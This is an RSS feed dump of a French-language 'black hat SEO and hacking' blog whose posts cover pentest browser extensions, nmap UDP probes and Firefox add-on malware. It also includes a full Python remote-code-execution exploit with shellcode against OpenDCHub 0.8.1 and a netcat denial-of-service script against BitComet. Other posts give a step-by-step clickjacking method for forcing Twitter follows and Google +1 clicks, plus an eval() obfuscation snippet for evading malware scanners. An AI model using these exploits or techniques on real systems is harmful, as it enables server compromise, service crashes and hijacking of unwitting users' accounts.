<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>SERP Hacker</title>
	
	<link>http://serphacker.com</link>
	<description>Black Hat SEO, Hacking, Coding</description>
	<lastBuildDate>Tue, 15 May 2012 12:52:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/serphacker" /><feedburner:info uri="serphacker" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Migration indahax.com vers serphacker.com</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/1EsyhAKlncU/migration-indahax-com-vers-serphacker-com.html</link>
		<comments>http://serphacker.com/migration-indahax-com-vers-serphacker-com.html#comments</comments>
		<pubDate>Tue, 15 May 2012 12:49:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Non classé]]></category>

		<guid isPermaLink="false">http://serphacker.com/?p=693</guid>
		<description><![CDATA[Comme j&#8217;ai prévu de me remettre à bloguer d&#8217;ici 2/3 ans, j&#8217;ai décidé que c&#8217;était le moment idéal pour fusionner indahax.com et serphacker.com. Comme indahax était en français et serphacker en anglais, j&#8217;ai décidé de poursuivre la rédaction de celui-ci &#8230; <a href="http://serphacker.com/migration-indahax-com-vers-serphacker-com.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Comme j&#8217;ai prévu de me remettre à bloguer d&#8217;ici 2/3 ans, j&#8217;ai décidé que c&#8217;était le moment idéal pour fusionner indahax.com et serphacker.com. Comme indahax était en français et serphacker en anglais, j&#8217;ai décidé de poursuivre la rédaction de celui-ci dans ma langue natale : le serbe (d&#8217;où mon email pierz@hotmail.it ).</p>
<p><span id="more-693"></span></p>
<p>J&#8217;en ai profité pour faire une bonne mise à jour de WP et de virer ses plugins, tous plus pourris et inutiles les uns que les autres (et surtout chiant à garder à jour). J&#8217;ai gardé un seul petit plug-in fait maison pour gérer les stats (Piwik+Feedburner), et virer les spams. Même si Akismet est très efficace, il n&#8217;est pas équipé de détecteur de cons. C&#8217;est pourquoi j&#8217;ai décidé de mettre en place une réponse active sur le spam comment, dorénavant, chaque IP envoyant un commentaire contenant le moindre http:// ou autre subira une attaque par DDOS avec un débit de 1000 To/s pendant 65535 jours, les frais liés à la bande passante sont à la charge du spammeur.</p>
<p>J&#8217;ai aussi ouvert un petit channel IRC sur lequel j&#8217;idle 24/24, vous pouvez y accéder par le web <a href="http://webchat.freenode.net/?channels=serphacker">ici</a>.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/1EsyhAKlncU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/migration-indahax-com-vers-serphacker-com.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://serphacker.com/migration-indahax-com-vers-serphacker-com.html</feedburner:origLink></item>
		<item>
		<title>Google plus1 clickjacking attack</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/LrbaSlKAn8M/google-plus1-clickjacking-attack.html</link>
		<comments>http://serphacker.com/google-plus1-clickjacking-attack.html#comments</comments>
		<pubDate>Wed, 01 Jun 2011 18:53:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://serphacker.com/?p=54</guid>
		<description><![CDATA[EDIT 03/11/2011: Google fait maintenant apparaitre un popup juste en dessous du bouton +1 rendant cette attaque pas du tout discréte&#8230; Je ne sais pas s&#8217;il est possible de cacher ce nouveau popup, pas le temps de regarder ça en &#8230; <a href="http://serphacker.com/google-plus1-clickjacking-attack.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><span style="color: red;">EDIT 03/11/2011: Google fait maintenant apparaitre un popup juste en dessous du bouton +1 rendant cette attaque pas du tout discréte&#8230; Je ne sais pas s&#8217;il est possible de cacher ce nouveau popup, pas le temps de regarder ça en ce moment&#8230;</span></p>
<p>On dirait que l&#8217;attaque clickjacking sur le nouveau bouton follow de twitter que j&#8217;ai publié ce matin fonctionne également sur le bouton +1 de google. Voir <a href="/google-plus1-clickjacking.html">+1 exploit</a>, le code est exactement le meme que pour le <a href='/twitter-new-follow-button-clickjacking-attack.html' >clickjacking twitter</a>.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/LrbaSlKAn8M" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/google-plus1-clickjacking-attack.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://serphacker.com/google-plus1-clickjacking-attack.html</feedburner:origLink></item>
		<item>
		<title>Twitter new follow button clickjacking attack</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/aPw314hon6I/twitter-new-follow-button-clickjacking-attack.html</link>
		<comments>http://serphacker.com/twitter-new-follow-button-clickjacking-attack.html#comments</comments>
		<pubDate>Wed, 01 Jun 2011 06:55:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://serphacker.com/?p=20</guid>
		<description><![CDATA[Aujourd&#8217;hui Twitter vient de proposer un bouton &#171;&#160;follow&#160;&#187; qui permet de suivre une personne sur twitter en un click si vous êtes déjà connecté à twitter. Pas besoin d&#8217;aller sur le site de twitter pour suivre la personne, tout est &#8230; <a href="http://serphacker.com/twitter-new-follow-button-clickjacking-attack.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui Twitter vient de proposer un bouton &laquo;&nbsp;follow&nbsp;&raquo; qui permet de suivre une personne sur twitter en un click si vous êtes déjà connecté à twitter. Pas besoin d&#8217;aller sur le site de twitter pour suivre la personne, tout est fait via une iframe sur le site où le bouton est installé.</p>
<p><span id="more-20"></span><br />
Il est possible de faire une attaque par clickjacking sur ce bouton : si une personne click n&#8217;importe où sur votre site alors celle-ci activera le bouton follow et vous suivra si elle est connectée à twitter. Voici comment ça marche : </p>
<ul>
<li>Il faut mettre en place une iframe transparente/invisible via CSS.</li>
<li>Via javascript il faut capturer les mouvements de la souris.</li>
<li>Quand la victime bouge la souris, il faut bouger l&#8217;iframe du twitter button de façon à ce qu&#8217;elle soit systématiquement en dessous du curseur de la souris.</li>
<li>Si la victime click, elle cliquera donc automatiquement sur le bouton follow (qu&#8217;elle ne voit pas car il est invisible) et vous suivra automatiquement (s&#8217;il est déjà connecté à Twitter).</li>
<li>Game over.</li>
</ul>
<p>Le POC est <a href="/twitter-follow-clickjacking.html">ici</a>, j&#8217;ai mis l&#8217;opacité du bouton follow à 40% de façon à ce que l&#8217;on voit bien l&#8217;iframe se déplacer en même temps que le curseur, bien sûr il est possible de la rendre totalement invisible&#8230;.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/aPw314hon6I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/twitter-new-follow-button-clickjacking-attack.html/feed</wfw:commentRss>
		<slash:comments>23</slash:comments>
		<feedburner:origLink>http://serphacker.com/twitter-new-follow-button-clickjacking-attack.html</feedburner:origLink></item>
		<item>
		<title>Extensions Firefox pour les pentests</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/ykQElvfJwus/extension-firefox-pentest.html</link>
		<comments>http://serphacker.com/extension-firefox-pentest.html#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:59:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=532</guid>
		<description><![CDATA[Allez hop aujourd&#8217;hui je vais vous présenter une petite liste d&#8217;extension Firefox que j&#8217;utilise couramment au cours de mes tests d&#8217;intrusion Web. J&#8217;utilise aussi pas mal d&#8217;autres outils à côté comme Burp Suite pro ou des petits scripts maison, mais &#8230; <a href="http://serphacker.com/extension-firefox-pentest.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2010/03/firefox-black.jpg"><img class="alignleft size-full wp-image-622" title="firefox-black" src="http://serphacker.com/wp-content/uploads/2010/03/firefox-black.jpg" alt="" width="250" height="188" /></a>Allez hop aujourd&#8217;hui je vais vous présenter une petite liste d&#8217;extension Firefox que j&#8217;utilise couramment au cours de mes tests d&#8217;intrusion Web.<br />
<span id="more-532"></span><br />
J&#8217;utilise aussi pas mal d&#8217;autres outils à côté comme Burp Suite pro ou des petits scripts maison, mais ça, j&#8217;en parlerai une prochaine fois.</p>
<p>J&#8217;utilise toutes ces extensions dans un profil utilisateur special dédié au pentest, il vaut mieux éviter d&#8217;utiliser 15 000 extensions simultanément dans Firefox pour des questions de stabilité/performance/ergonomie.</p>
<p>Cette liste représente quasiment l&#8217;intégralité des extensions que j&#8217;utilise pour les pentests, il y en a beaucoup moins que dans <a href="http://www.firecat.fr">le catalogue FireCat</a>, mais ça me suffit largement pour faire tout ce que je veux ;).</p>
<ul>
<ul>
<li><img class="alignnone" title="UrlParams" src="http://www.indahax.com/images/pentest-web-tools/urlparams.png" alt="UrlParams" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/1290">UrlParams</a></strong></li>
</ul>
</ul>
<p>Probablement l&#8217;extension dont je me sers le plus souvent, elle permet de modifier rapidement les paramètres GET/POST et le referrer. Ça me permet d&#8217;éviter d&#8217;avoir à utiliser Burp pour des opérations assez simples comme modifier les données POST.</p>
<ul>
<ul>
<li><img class="alignnone" title="HackBar" src="http://www.indahax.com/images/pentest-web-tools/hackbar.png" alt="Hackbar" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/3899">Hack Bar</a></strong></li>
</ul>
</ul>
<p>Très pratique pendant l&#8217;exploitation des injections SQL, surtout quand les quotes sont bloqués, l&#8217;extension vous permet de convertir une chaine de caractère en son équivalent CHAR( ASCII )&#8230; Elle contient aussi quelques fonctions d&#8217;encodage et de chiffrement bien pratique. Un must have.</p>
<ul>
<ul>
<li><img class="alignnone" title="Firebug" src="http://www.indahax.com/images/pentest-web-tools/firebug.png" alt="Firebug" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/1843">Firebug</a></strong></li>
</ul>
</ul>
<p>Très utilise pour le développement Web et donc très pratique pour le développement des exploits XSS. Je m&#8217;en sers principalement pour faire joujou avec la console Javascript, analyser la structure DOM et voir les requêtes javascript XHR faites en arrière-plan.</p>
<ul>
<ul>
<li><img class="alignnone" title="Firecookie" src="http://www.indahax.com/images/pentest-web-tools/firecookie.png" alt="Firecookie" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/6683">Firecookie</a></strong></li>
</ul>
</ul>
<p>Pour jouer avec les cookies.</p>
<ul>
<ul>
<li><img class="alignnone" title="Force Content-Type" src="http://www.indahax.com/images/pentest-web-tools/extension.png" alt="Force Content-Type" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/3207">Force Content-Type</a></strong></li>
</ul>
</ul>
<p>Très pratique lorsque le navigateur Firefox gère spécifiquement certains types de fichier comme les pdfs ou les fichiers audios, cette extension permet d&#8217;afficher directement le fichier en brut dans le navigateur et de ne pas lancer l&#8217;application. Utile lorsque l&#8217;on trifouille des pages qui génèrent dynamiquement un certain type de fichier.</p>
<ul>
<ul>
<li><img class="alignnone" title="Web Developer" src="http://www.indahax.com/images/pentest-web-tools/webdev.png" alt="Web Developer" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/60">Web Developer</a></strong></li>
</ul>
</ul>
<p>Encore une extension pour le développement web, elle est très utile pour effacer ses cookies, afficher les mots de passe en clair, désactiver le chargement des images, voir les commentaires&#8230; Il y a vraiment plein d&#8217;options très utiles&#8230;</p>
<ul>
<ul>
<li><img class="alignnone" title="Yes Script" src="http://www.indahax.com/images/pentest-web-tools/yesscript.png" alt="Yes Script" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/4922">Yes Script</a></strong></li>
</ul>
</ul>
<p>Contrairement à NoScript qui fonctionne sur un système de whitelist (tous les scripts sont bloqués par défaut, il faut les autoriser un par un), YesScript fonctionne sur un système de blacklist. Utile lorsque l&#8217;on audite des sites avec des animations Flash et Javascript qui consomme 99% du CPU :|&#8230;</p>
<ul>
<ul>
<li><img class="alignnone" title="Foxy Proxy" src="http://www.indahax.com/images/pentest-web-tools/foxyproxy.png" alt="Foxy Proxy" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/2464">Foxy Proxy</a></strong></li>
</ul>
</ul>
<p>En plus de permettre de changer rapidement de proxy, FoxyProxy offre la possibilité de choisir un proxy dynamiquement en fonction de l&#8217;URL.</p>
<ul>
<ul>
<li><img class="alignnone" title="Torbutton" src="http://www.indahax.com/images/pentest-web-tools/torbutton.png" alt="Torbutton" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/2275">Torbutton</a></strong></li>
</ul>
</ul>
<p>Indispensable lorsque l&#8217;on utilise Tor, bloque tous les tricks connus qui permettent de démasquer un utilisateur anonyme (historique, applet Java, Flash&#8230;). Bien sûr quand on utilise Tor, il vaut mieux <a href="http://www.indahax.com/pentest/secure-tor">être vraiment sûr que tout passe par Tor</a>.</p>
<ul>
<ul>
<li><img class="alignnone" title="Maltego Mesh" src="http://www.indahax.com/images/pentest-web-tools/maltego-mesh.png" alt="Maltego Mesh" width="32" height="32" /> <strong><a href="http://www.paterva.com/web4/index.php/client/mesh">Maltego Mesh</a></strong></li>
</ul>
</ul>
<p>À la base Maltego est un outil spécialisé dans la recherche d&#8217;informations. Cette extension permet de mettre en évidence certains types d&#8217;information affichés sur une page comme des adresses IPs, des emails, des numéros de téléphone, des noms de famille&#8230; Bien pratique, cependant, je laisse cette extension désactiver par défaut, elle est instable consomme énormément de CPU.</p>
<ul>
<ul>
<li><img class="alignnone" title="Modify Headers" src="http://www.indahax.com/images/pentest-web-tools/extension.png" alt="Modify Headers" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/967">Modify Headers</a></strong></li>
</ul>
</ul>
<p>Comme son nom l&#8217;indique, elle permet de modifier les en-têtes HTTP. Je me sers rarement de cette extension, je préfère passer par Burp.</p>
<ul>
<ul>
<li><img class="alignnone" title="BugMeNot" src="http://www.indahax.com/images/pentest-web-tools/bugmenot.png" alt="BugMeNot" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/6349">BugMeNot</a></strong></li>
</ul>
</ul>
<p>Cette extension n&#8217;est pas vraiment en rapport avec les pentests mais je l&#8217;aime bien :). bugmenot.com recense des logins/passwords pour des milliers de sites. Elle vous permet de vous identifier en un click sur des sites demandant un compte utilisateur pour accéder à certaines sections&#8230; Gros gain de temps ;)</p>
<ul>
<ul>
<li><img class="alignnone" title="Autofill Forms" src="http://www.indahax.com/images/pentest-web-tools/autofill.png" alt="Autofill Forms" width="32" height="32" /> <strong><a href="https://addons.mozilla.org/fr/firefox/addon/4775">Autofill Forms</a></strong></li>
</ul>
</ul>
<p>Permet de remplir un profil utilisateur avec des paramètres prédéfinis (adresse email , nom, age, ville&#8230;). Fait gagner du temps.</p>
<p>Et voilà, c&#8217;est fini, la prochaine je balancerai peut être une liste de bookmarks intéressants&#8230;</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/ykQElvfJwus" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/extension-firefox-pentest.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://serphacker.com/extension-firefox-pentest.html</feedburner:origLink></item>
		<item>
		<title>OpenDCHub 0.8.1 Remote Code Execution Exploit</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/qg44XexWYjA/opendchub-0-8-1-remote-code-execution-exploit.html</link>
		<comments>http://serphacker.com/opendchub-0-8-1-remote-code-execution-exploit.html#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:54:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=600</guid>
		<description><![CDATA[#!/usr/bin/python # # OpenDcHub 0.8.1 Remote Code Execution Exploit # Pierre Nogues - http://www.indahax.com # # Description: # OpenDcHub is a direct connect hub for Linux # # OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack &#8230; <a href="http://serphacker.com/opendchub-0-8-1-remote-code-execution-exploit.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><span id="more-600"></span></p>
<pre lang='python' >
#!/usr/bin/python
#
# OpenDcHub 0.8.1 Remote Code Execution Exploit
# Pierre Nogues - http://www.indahax.com
#
# Description:
#     OpenDcHub is a direct connect hub for Linux
#
#     OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow.
#
# Affected versions :
#     OpenDcHub 0.8.1
#
# Plateforms :
#     Unix
#
# Usage :
#     ./exploit.py

import socket

host = '192.168.1.9'
port = 5000

# must not contain x36 x53 x00 bytes
# max shellcode size = 103 bytes use exploit v2 otherwise
shellcode="x33xc9xb1x13xbaxf6x1dxe7xfaxdbxdexd9x74x24"
shellcode+="xf4x5ex83xc6x04x31x56x0ax03xa0x17x05x0fx7d"
shellcode+="xf3x3ex13x2ex40x92xbexd2xcfxf5x8fxb4x02x75"
shellcode+="xb4x66xf5xb6xe3x97x37x51x9cx86x6bxfbx0fxc2"
shellcode+="x83x52xe0x9bx45x17x6axfdxddx55xeax58x59xbc"
shellcode+="x5bx65xa8xbfxd5xe0xcbx90x8dx3dx03x62x26x29"
shellcode+="x74xe6xdfxc7x03x05x4fx44x9dx2bxc0x61x50x2b"
shellcode+="x2b"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("$ValidateNick joseph|")

hax="$MyINFO $ALL joseph "
hax+=shellcode
for i in range(103 - len(shellcode)):
    hax+="A"
hax+="$"
hax+="x20x81x81x80" # esp
hax+="xedxf6xfexbf" # eip
hax+="S:-1|"

s.send(hax)
s.close()

"""
# V2
# more complex version working too, it have more space for the shellcode

hax="$MyINFO $ALL joseph AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
hax+="xFFxFFxFFxFE" # local var int len of commands.c:my_info() must be a negative value
hax+="TTTTUUUUVVVVWWWWXXXXYYYYZZZZBBBBCCCCEEEEEEE$"
hax+="x20x81x81x80" # esp
hax+="x80xf7xfexbf" # eip
hax+="xCCxCCxCCxCC" # useless var
hax+="x10xf0xfexbf" # this address + x20 will be overwritten by 4 bytes
# shellcode time
hax+="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
hax+="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
hax+=shellcode
hax+="|"
"""
</pre>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/qg44XexWYjA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/opendchub-0-8-1-remote-code-execution-exploit.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://serphacker.com/opendchub-0-8-1-remote-code-execution-exploit.html</feedburner:origLink></item>
		<item>
		<title>BitComet</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/-F1_xg_U98Q/bitcomet-remote-dos-exploit.html</link>
		<comments>http://serphacker.com/bitcomet-remote-dos-exploit.html#comments</comments>
		<pubDate>Wed, 31 Mar 2010 11:52:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=595</guid>
		<description><![CDATA[#!/bin/sh # # BitComet]]></description>
			<content:encoded><![CDATA[<p><span id="more-595"></span></p>
<pre lang='bash' >
#!/bin/sh
#
# BitComet <= 1.19 Remote DOS Exploit
# Pierre Nogues - http://www.indahax.com/
#
# Description:
#     BitComet is a torrent client
#
#     BitComet doesn't handle malicious DHT packet with an invalid bencoded message.
#
# Affected versions :
#     BitComet <= 1.19
#
# Plateforms :
#     Windows
#
# Usage :
#     ./exploit.sh ip port

if [ $# -ne 2 ]; then
    echo "./exploit.sh ip port"
    exit 1
fi

nc -u $1 $2 << .
d4294967285:y1:q1:t4:x001:q4:ping1:ad2:id20:01234567890123456789ee
.
</pre>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/-F1_xg_U98Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/bitcomet-remote-dos-exploit.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://serphacker.com/bitcomet-remote-dos-exploit.html</feedburner:origLink></item>
		<item>
		<title>Firefox malware discovered</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/yYVpQLHeps4/firefox-malware-discovered.html</link>
		<comments>http://serphacker.com/firefox-malware-discovered.html#comments</comments>
		<pubDate>Sun, 07 Feb 2010 17:36:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=520</guid>
		<description><![CDATA[Il fut un temps où je m&#8217;étais posé la question de savoir s&#8217;il était possible de diffuser une extension vérolée pour Firefox ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui&#8230; En effet, Mozilla vient d&#8217;annoncer sur son security &#8230; <a href="http://serphacker.com/firefox-malware-discovered.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2010/02/firefox.png"><img class="alignleft size-full wp-image-655" title="firefox" src="http://serphacker.com/wp-content/uploads/2010/02/firefox.png" alt="" width="400" height="202" /></a>Il fut un temps où je m&#8217;étais posé la question de savoir s&#8217;il était possible de diffuser <strong>une extension vérolée pour Firefox</strong> ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui&#8230;<br />
<span id="more-520"></span><br />
En effet, Mozilla vient d&#8217;annoncer sur son <a href="http://blog.mozilla.com/security/2010/02/05/security-issues-with-two-experimental-add-ons/">security blog</a> que deux extensions malicieuses ont été découvertes dans la section expérimentale. Les extensions malicieuses n&#8217;affectent que les systèmes Windows, il s&#8217;agit probablement d&#8217;un <strong>binaire embarqué</strong> qui est exécuté par l&#8217;extension&#8230; Rien de bien révolutionnaire.</p>
<p>Il faut savoir qu&#8217;une extension malicieuse peut être entièrement faite en JavaScript et être totalement portable. Les composants XPCom apportent des fonctions au langage JavaScript qui permettent de lancer des processus, sniffer les connexions HTTPS en clair, jouer avec les sockets (Proxy, UPNP&#8230;), récupérer les mots de passe stockés, accéder au système de fichiers, tout en bypassant le firewall&#8230;</p>
<p>D&#8217;après les dires du security blog, <strong>Mozilla utilise plusieurs scanners anti-malware</strong> pour éviter ce genre de désagrément :</p>
<blockquote><p>These were not originally detected with the anti-malware scanning tools that we have been using.</p></blockquote>
<p>Cependant, j&#8217;aimerai attirer votre attention sur un détail, JavaScript met à notre disposition de nombreuses possibilités pour obfuscer son code. Ces techniques sont couramment utiliser dans les attaques Web (iframe). Par exemple, la fonction <strong>eval()</strong> permet d&#8217;interpréter le code JavaScript passé en paramètre à cette fonction. Cela rend alors totalement useless les recherches par signature.</p>
<pre lang="javascript">// var signature = "something_bad();";
var signature_crypt = "XAQDFQDFQSDFQSDF";
eval(decrypt(signature_crypt));</pre>
<p>Bien sûr, il est possible que les <strong>supers scanners</strong> de Mozilla gère ce type d&#8217;obfuscation, mais en attendant, ils viennent de laisser passer deux malwares, et peut-être beaucoup plus&#8230; FEAR.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/yYVpQLHeps4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/firefox-malware-discovered.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://serphacker.com/firefox-malware-discovered.html</feedburner:origLink></item>
		<item>
		<title>Nmap, scan UDP applicatif</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/pP75PhtvmPw/nmap-udp-applicatif.html</link>
		<comments>http://serphacker.com/nmap-udp-applicatif.html#comments</comments>
		<pubDate>Mon, 01 Feb 2010 08:01:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=510</guid>
		<description><![CDATA[Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter le scan de port applicatif sur le protocole UDP. Voici un extrait du changelog de la dernière version de nmap : o For some &#8230; <a href="http://serphacker.com/nmap-udp-applicatif.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2010/02/nmap-logo.png"><img class="alignleft size-full wp-image-682" title="nmap-logo" src="http://serphacker.com/wp-content/uploads/2010/02/nmap-logo.png" alt="" width="198" height="86" /></a>Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter <strong>le scan de port applicatif sur le protocole UDP</strong>. Voici un extrait du changelog de la dernière version de nmap :<br />
<span id="more-510"></span></p>
<blockquote><p>o For some UDP ports, Nmap will now send a protocol-specific payload<br />
that is more likely to get a response than an empty packet is. This<br />
improves the effectiveness of probes to those ports for host<br />
discovery, and also makes an open port more likely to be classified<br />
open rather than open|filtered. The ports and payloads are defined<br />
in payload.cc. The ports that have a payload are 7 (echo),<br />
53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),<br />
177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),<br />
2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]</p></blockquote>
<p>Par scan applicatif j&#8217;entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu&#8217;il reçoit bien une réponse DNS afin de déterminer si le service est <strong>open</strong>.</p>
<p>Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :</p>
<pre lang="c">/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.

  Some of them are taken from nmap-service-probes.
*/

static const char payload_GenericLines[] = "x0Dx0Ax0Dx0A";
static const char payload_DNSStatusRequest[] =
  "x00x00x10x00x00x00x00x00x00x00x00x00";
static const char payload_RPCCheck[] =
  "x72xFEx1Dx13x00x00x00x00x00x00x00x02x00x01x86xA0"
  "x00x01x97x7Cx00x00x00x00x00x00x00x00x00x00x00x00"
  "x00x00x00x00x00x00x00x00";</pre>
<p>C&#8217;est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur <strong>l&#8217;absence de réponse ICMP pour déterminer si un port UDP est open</strong> (du moins pour les ports cités dans le changelog).</p>
<p>Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:</p>
<pre lang="text">pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7

Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds</pre>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/pP75PhtvmPw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/nmap-udp-applicatif.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://serphacker.com/nmap-udp-applicatif.html</feedburner:origLink></item>
		<item>
		<title>Enumération des tables sous Mysql 4</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/xCqbjoBO5j0/enumeration-tables-columns-mysql-4.html</link>
		<comments>http://serphacker.com/enumeration-tables-columns-mysql-4.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 18:32:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=493</guid>
		<description><![CDATA[Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une injection SQL avec une base de données Mysql 4. Ha oui, c&#8217;est tout de suite &#8230; <a href="http://serphacker.com/enumeration-tables-columns-mysql-4.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
